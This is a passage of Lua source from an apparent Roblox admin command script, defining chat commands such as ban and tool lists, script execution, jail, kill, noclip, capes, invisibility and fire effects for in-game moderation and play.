  440. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  441. end end
  442.  
  443. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  444. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  445. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  446. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  447. end
  448.  
  449. if msg:lower() == "tools" or msg:lower() == "toollist" then
  450. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  451. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  452. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  453. end
  454.  
  455. if msg:lower():sub(1,2) == "s " then
  456. coroutine.resume(coroutine.create(function()
  457. Output(msg:sub(3), plr)
  458. if script:findFirstChild("ScriptBase") then
  459. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  460. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  461. else loadstring(msg:sub(3))()
  462. end
  463. end))
  464. end
  465.  
  466. if msg:lower():sub(1,3) == "ls " then
  467. coroutine.resume(coroutine.create(function()
  468. if script:findFirstChild("LocalScriptBase") then
  469. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  470. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  471. end
  472. end))
  473. end
  474.  
  475. if msg:lower():sub(1,6) == "lsplr " then
  476. local chk1 = msg:lower():sub(7):find(" ") + 6
  477. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  478. for i, v in pairs(plrz) do
  479. coroutine.resume(coroutine.create(function()
  480. if v and v:findFirstChild("PlayerGui") then
  481. if script:findFirstChild("LocalScriptBase") then
  482. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  483. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  484. end
  485. end
  486. end))
  487. end
  488. end
  489.  
  490. if msg:lower():sub(1,4) == "ins " then
  491. coroutine.resume(coroutine.create(function()
  492. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  493. if obj and #obj:children() >= 1 and plr.Character then
  494. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  495. end
  496. end))
  497. end
  498.  
  499. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  500. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  501. RemoveMessage()
  502. objects = {}
  503. end
  504.  
  505. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  506. game.Lighting.Ambient = origsettings.abt
  507. game.Lighting.Brightness = origsettings.brt
  508. game.Lighting.TimeOfDay = origsettings.time
  509. game.Lighting.FogColor = origsettings.fclr
  510. game.Lighting.FogEnd = origsettings.fe
  511. game.Lighting.FogStart = origsettings.fs
  512. for i, v in pairs(lobjs) do v:Destroy() end
  513. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  514. end
  515.  
  516. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  517. coroutine.resume(coroutine.create(function()
  518. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  519. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  520. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  521. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  522. end))
  523. end
  524.  
  525. if msg:lower():sub(1,10) == "countdown " then
  526. local num = math.min(tonumber(msg:sub(11)),120)
  527. for i = num, 1, -1 do
  528. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  529. wait(1)
  530. end
  531. end
  532.  
  533. if msg:lower():sub(1,3) == "tm " then
  534. local chk1 = msg:lower():sub(4):find(" ") + 3
  535. local num = tonumber(msg:sub(4,chk1-1))
  536. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  537. end
  538.  
  539. if msg:lower():sub(1,2) == "m " then
  540. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  541. end
  542.  
  543. if msg:lower():sub(1,2) == "h " then
  544. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  545. end
  546.  
  547. if msg:lower():sub(1,3) == "pm " then
  548. local chk1 = msg:lower():sub(4):find(" ") + 3
  549. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  550. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  551. end
  552.  
  553. if msg:lower():sub(1,11) == "resetstats " then
  554. local plrz = GetPlr(plr, msg:lower():sub(12))
  555. for i, v in pairs(plrz) do
  556. coroutine.resume(coroutine.create(function()
  557. if v and v:findFirstChild("leaderstats") then
  558. for a, q in pairs(v.leaderstats:children()) do
  559. if q:IsA("IntValue") then q.Value = 0 end
  560. end
  561. end
  562. end))
  563. end
  564. end
  565.  
  566. if msg:lower():sub(1,5) == "gear " then
  567. local chk1 = msg:lower():sub(6):find(" ") + 5
  568. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  569. for i, v in pairs(plrz) do
  570. coroutine.resume(coroutine.create(function()
  571. if v and v:findFirstChild("Backpack") then
  572. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  573. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  574. obj:Destroy()
  575. end
  576. end))
  577. end
  578. end
  579.  
  580. if msg:lower():sub(1,4) == "hat " then
  581. local chk1 = msg:lower():sub(5):find(" ") + 4
  582. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  583. for i, v in pairs(plrz) do
  584. coroutine.resume(coroutine.create(function()
  585. if v and v.Character then
  586. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  587. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  588. obj:Destroy()
  589. end
  590. end))
  591. end
  592. end
  593.  
  594. if msg:lower():sub(1,5) == "cape " then
  595. local chk1 = msg:lower():sub(6):find(" ")
  596. local plrz = GetPlr(plr, msg:lower():sub(6))
  597. local str = "torso.BrickColor"
  598. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  599. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  600. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  601. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  602. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  603. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  604. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  605. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  606. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  607. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  608. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  609. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  610. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  611. if BrickColor.new(teststr) ~= nil then str = teststr end
  612. end
  613. for i, v in pairs(plrz) do
  614. coroutine.resume(coroutine.create(function()
  615. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  616. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  617. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  618. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  619. local torso = plr.Character.Torso
  620. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  621. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  622. p.Size = Vector3.new(.2,.2,.2)
  623. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  624. local motor1 = Instance.new("Motor", p)
  625. motor1.Part0 = p
  626. motor1.Part1 = torso
  627. motor1.MaxVelocity = .01
  628. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  629. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  630. local wave = false
  631. repeat wait(1/44)
  632. local ang = 0.1
  633. local oldmag = torso.Velocity.magnitude
  634. local mv = .002
  635. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  636. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  637. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  638. motor1.DesiredAngle = -ang
  639. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  640. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  641. if torso.Velocity.magnitude < .1 then wait(.1) end
  642. until not p or p.Parent ~= torso.Parent
  643. script:Destroy()
  644. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  645. end
  646. end))
  647. end
  648. end
  649.  
  650. if msg:lower():sub(1,7) == "uncape " then
  651. local plrz = GetPlr(plr, msg:lower():sub(8))
  652. for i, v in pairs(plrz) do
  653. coroutine.resume(coroutine.create(function()
  654. if v and v:findFirstChild("PlayerGui") and v.Character then
  655. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  656. end
  657. end))
  658. end
  659. end
  660.  
  661. if msg:lower():sub(1,7) == "noclip " then
  662. local plrz = GetPlr(plr, msg:lower():sub(8))
  663. for i, v in pairs(plrz) do
  664. coroutine.resume(coroutine.create(function()
  665. if v and v:findFirstChild("PlayerGui") then
  666. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  667. cl.Parent = v.PlayerGui cl.Disabled = false
  668. end
  669. end))
  670. end
  671. end
  672.  
  673. if msg:lower():sub(1,5) == "clip " then
  674. local plrz = GetPlr(plr, msg:lower():sub(6))
  675. for i, v in pairs(plrz) do
  676. coroutine.resume(coroutine.create(function()
  677. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  678. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  679. v.Character.Torso.Anchored = false
  680. wait(.1) v.Character.Humanoid.PlatformStand = false
  681. end
  682. end))
  683. end
  684. end
  685.  
  686. if msg:lower():sub(1,5) == "jail " then
  687. local plrz = GetPlr(plr, msg:lower():sub(6))
  688. for i, v in pairs(plrz) do
  689. coroutine.resume(coroutine.create(function()
  690. if v and v.Character and v.Character:findFirstChild("Torso") then
  691. local vname = v.Name
  692. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  693. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  694. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  695. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  696. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  697. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  698. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  699. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  700. end)
  701. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  702. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  703. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  704. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  705. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  706. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  707. local msh2 = msh:Clone() msh2.Parent = back
  708. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  709. local msh4 = msh3:Clone() msh4.Parent = left
  710. v.Character.Torso.CFrame = cf
  711. end
  712. end))
  713. end
  714. end
  715.  
  716. if msg:lower():sub(1,7) == "unjail " then
  717. local plrz = GetPlr(plr, msg:lower():sub(8))
  718. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  719. end
  720.  
  721. if msg:lower():sub(1,11) == "starttools " then
  722. local plrz = GetPlr(plr, msg:lower():sub(12))
  723. for i, v in pairs(plrz) do
  724. coroutine.resume(coroutine.create(function()
  725. if v and v:findFirstChild("Backpack") then
  726. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  727. end
  728. end))
  729. end
  730. end
  731.  
  732. if msg:lower():sub(1,6) == "sword " then
  733. local plrz = GetPlr(plr, msg:lower():sub(7))
  734. for i, v in pairs(plrz) do
  735. coroutine.resume(coroutine.create(function()
  736. if v and v:findFirstChild("Backpack") then
  737. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  738. sword.GripForward = Vector3.new(-1,0,0)
  739. sword.GripPos = Vector3.new(0,0,-1.5)
  740. sword.GripRight = Vector3.new(0,1,0)
  741. sword.GripUp = Vector3.new(0,0,1)
  742. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  743. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  744. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  745. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  746. local Damage = 15
  747. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  748. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  749. SlashSound.Volume = 1
  750. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  751. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  752. LungeSound.Volume = 1
  753. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  754. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  755. UnsheathSound.Volume = 1
  756. local last = 0
  757. script.Parent.Handle.Touched:connect(function(hit)
  758. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  759. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  760. hit.Parent.Humanoid:TakeDamage(Damage)
  761. end
  762. end)
  763. script.Parent.Activated:connect(function()
  764. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  765. script.Parent.Enabled = false
  766. local tick = game:service("RunService").Stepped:wait()
  767. if tick - last <= .2 then
  768. LungeSound:play()
  769. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  770. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  771. wait(.2)
  772. script.Parent.GripForward = Vector3.new(0,0,1)
  773. script.Parent.GripRight = Vector3.new(0,-1,0)
  774. script.Parent.GripUp = Vector3.new(-1,0,0)
  775. wait(.3)
  776. frc:Destroy() wait(.5)
  777. script.Parent.GripForward = Vector3.new(-1,0,0)
  778. script.Parent.GripRight = Vector3.new(0,1,0)
  779. script.Parent.GripUp = Vector3.new(0,0,1)
  780. else
  781. SlashSound:play()
  782. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  783. end
  784. last = tick
  785. script.Parent.Enabled = true
  786. end)
  787. script.Parent.Equipped:connect(function(mouse)
  788. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  789. UnsheathSound:play()
  790. script.Parent.Enabled = true
  791. if not mouse then return end
  792. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  793. end)]] cl.Disabled = false
  794. end
  795. end))
  796. end
  797. end
  798.  
  799. if msg:lower():sub(1,6) == "clone " then
  800. local plrz = GetPlr(plr, msg:lower():sub(7))
  801. for i, v in pairs(plrz) do
  802. coroutine.resume(coroutine.create(function()
  803. if v and v.Character then
  804. v.Character.Archivable = true
  805. local cl = v.Character:Clone()
  806. table.insert(objects,cl)
  807. cl.Parent = game.Workspace
  808. cl:MoveTo(v.Character:GetModelCFrame().p)
  809. cl:MakeJoints()
  810. v.Character.Archivable = false
  811. end
  812. end))
  813. end
  814. end
  815.  
  816. if msg:lower():sub(1,8) == "control " then
  817. local plrz = GetPlr(plr, msg:lower():sub(9))
  818. for i, v in pairs(plrz) do
  819. coroutine.resume(coroutine.create(function()
  820. if v and v.Character then
  821. v.Character.Humanoid.PlatformStand = true
  822. local w = Instance.new("Weld", plr.Character.Torso )
  823. w.Part0 = plr.Character.Torso
  824. w.Part1 = v.Character.Torso
  825. local w2 = Instance.new("Weld", plr.Character.Head)
  826. w2.Part0 = plr.Character.Head
  827. w2.Part1 = v.Character.Head
  828. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  829. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  830. w3.Part1 = v.Character:findFirstChild("Right Arm")
  831. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  832. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  833. w4.Part1 = v.Character:findFirstChild("Left Arm")
  834. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  835. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  836. w5.Part1 = v.Character:findFirstChild("Right Leg")
  837. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  838. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  839. w6.Part1 = v.Character:findFirstChild("Left Leg")
  840. plr.Character.Head.face:Destroy()
  841. for i, p in pairs(v.Character:children()) do
  842. if p:IsA("BasePart") then
  843. p.CanCollide = false
  844. end
  845. end
  846. for i, p in pairs(plr.Character:children()) do
  847. if p:IsA("BasePart") then
  848. p.Transparency = 1
  849. elseif p:IsA("Hat") then
  850. p:Destroy()
  851. end
  852. end
  853. v.Character.Parent = plr.Character
  854. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  855. end
  856. end))
  857. end
  858. end
  859.  
  860. if msg:lower():sub(1,5) == "kill " then
  861. local plrz = GetPlr(plr, msg:lower():sub(6))
  862. for i, v in pairs(plrz) do
  863. coroutine.resume(coroutine.create(function()
  864. if v and v.Character then v.Character:BreakJoints() end
  865. end))
  866. end
  867. end
  868.  
  869. if msg:lower():sub(1,8) == "respawn " then
  870. local plrz = GetPlr(plr, msg:lower():sub(9))
  871. for i, v in pairs(plrz) do
  872. coroutine.resume(coroutine.create(function()
  873. if v and v.Character then v:LoadCharacter() end
  874. end))
  875. end
  876. end
  877.  
  878. if msg:lower():sub(1,5) == "trip " then
  879. local plrz = GetPlr(plr, msg:lower():sub(6))
  880. for i, v in pairs(plrz) do
  881. coroutine.resume(coroutine.create(function()
  882. if v and v.Character and v.Character:findFirstChild("Torso") then
  883. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  884. end
  885. end))
  886. end
  887. end
  888.  
  889. if msg:lower():sub(1,5) == "stun " then
  890. local plrz = GetPlr(plr, msg:lower():sub(6))
  891. for i, v in pairs(plrz) do
  892. coroutine.resume(coroutine.create(function()
  893. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  894. v.Character.Humanoid.PlatformStand = true
  895. end
  896. end))
  897. end
  898. end
  899.  
  900. if msg:lower():sub(1,7) == "unstun " then
  901. local plrz = GetPlr(plr, msg:lower():sub(8))
  902. for i, v in pairs(plrz) do
  903. coroutine.resume(coroutine.create(function()
  904. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  905. v.Character.Humanoid.PlatformStand = false
  906. end
  907. end))
  908. end
  909. end
  910.  
  911. if msg:lower():sub(1,5) == "jump " then
  912. local plrz = GetPlr(plr, msg:lower():sub(6))
  913. for i, v in pairs(plrz) do
  914. coroutine.resume(coroutine.create(function()
  915. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  916. v.Character.Humanoid.Jump = true
  917. end
  918. end))
  919. end
  920. end
  921.  
  922. if msg:lower():sub(1,4) == "sit " then
  923. local plrz = GetPlr(plr, msg:lower():sub(5))
  924. for i, v in pairs(plrz) do
  925. coroutine.resume(coroutine.create(function()
  926. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  927. v.Character.Humanoid.Sit = true
  928. end
  929. end))
  930. end
  931. end
  932.  
  933. if msg:lower():sub(1,10) == "invisible " then
  934. local plrz = GetPlr(plr, msg:lower():sub(11))
  935. for i, v in pairs(plrz) do
  936. coroutine.resume(coroutine.create(function()
  937. if v and v.Character then
  938. for a, obj in pairs(v.Character:children()) do
  939. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  940. end
  941. end
  942. end))
  943. end
  944. end
  945.  
  946. if msg:lower():sub(1,8) == "visible " then
  947. local plrz = GetPlr(plr, msg:lower():sub(9))
  948. for i, v in pairs(plrz) do
  949. coroutine.resume(coroutine.create(function()
  950. if v and v.Character then
  951. for a, obj in pairs(v.Character:children()) do
  952. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  953. end
  954. end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,5) == "lock " then
  960. local plrz = GetPlr(plr, msg:lower():sub(6))
  961. for i, v in pairs(plrz) do
  962. coroutine.resume(coroutine.create(function()
  963. if v and v.Character then
  964. for a, obj in pairs(v.Character:children()) do
  965. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  966. end
  967. end
  968. end))
  969. end
  970. end
  971.  
  972. if msg:lower():sub(1,7) == "unlock " then
  973. local plrz = GetPlr(plr, msg:lower():sub(8))
  974. for i, v in pairs(plrz) do
  975. coroutine.resume(coroutine.create(function()
  976. if v and v.Character then
  977. for a, obj in pairs(v.Character:children()) do
  978. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  979. end
  980. end
  981. end))
  982. end
  983. end
  984.  
  985. if msg:lower():sub(1,8) == "explode " then
  986. local plrz = GetPlr(plr, msg:lower():sub(9))
  987. for i, v in pairs(plrz) do
  988. coroutine.resume(coroutine.create(function()
  989. if v and v.Character and v.Character:findFirstChild("Torso") then
  990. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  991. end
  992. end))
  993. end
  994. end
  995.  
  996. if msg:lower():sub(1,4) == "age " then
  997. local plrz = GetPlr(plr, msg:lower():sub(5))
  998. for i, v in pairs(plrz) do
  999. coroutine.resume(coroutine.create(function()
  1000. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1001. end))
  1002. end
  1003. end
  1004.  
  1005. if msg:lower():sub(1,5) == "fire " then
  1006. local plrz = GetPlr(plr, msg:lower():sub(6))
  1007. for i, v in pairs(plrz) do
  1008. coroutine.resume(coroutine.create(function()
  1009. if v and v.Character and v.Character:findFirstChild("Torso") then
  1010. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1011. end
  1012. end))
  1013. end
  1014. end
  1015.  
  1016. if msg:lower():sub(1,7) == "unfire " then
  1017. local plrz = GetPlr(plr, msg:lower():sub(8))
  1018. for i, v in pairs(plrz) do
  1019. coroutine.resume(coroutine.create(function()
  1020. if v and v.Character and v.Character:findFirstChild("Torso") then
  1021. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1022. end
  1023. end))
  1024. end
  1025. end
  1026.  
  1027. if msg:lower():sub(1,6) == "smoke " then
  1028. local plrz = GetPlr(plr, msg:lower():sub(7))
  1029. for i, v in pairs(plrz) do
  1030. coroutine.resume(coroutine.create(function()
  1031. if v and v.Character and v.Character:findFirstChild("Torso") then
  1032. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1033. end
  1034. end))
  1035. end
  1036. end
  1037.  
  1038. if msg:lower():sub(1,8) == "unsmoke " then
  1039. local plrz = GetPlr(plr, msg:lower():sub(9))
  1040. for i, v in pairs(plrz) do
  1041. coroutine.resume(coroutine.create(function()
  1042. if v and v.Character and v.Character:findFirstChild("Torso") then
  1043. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
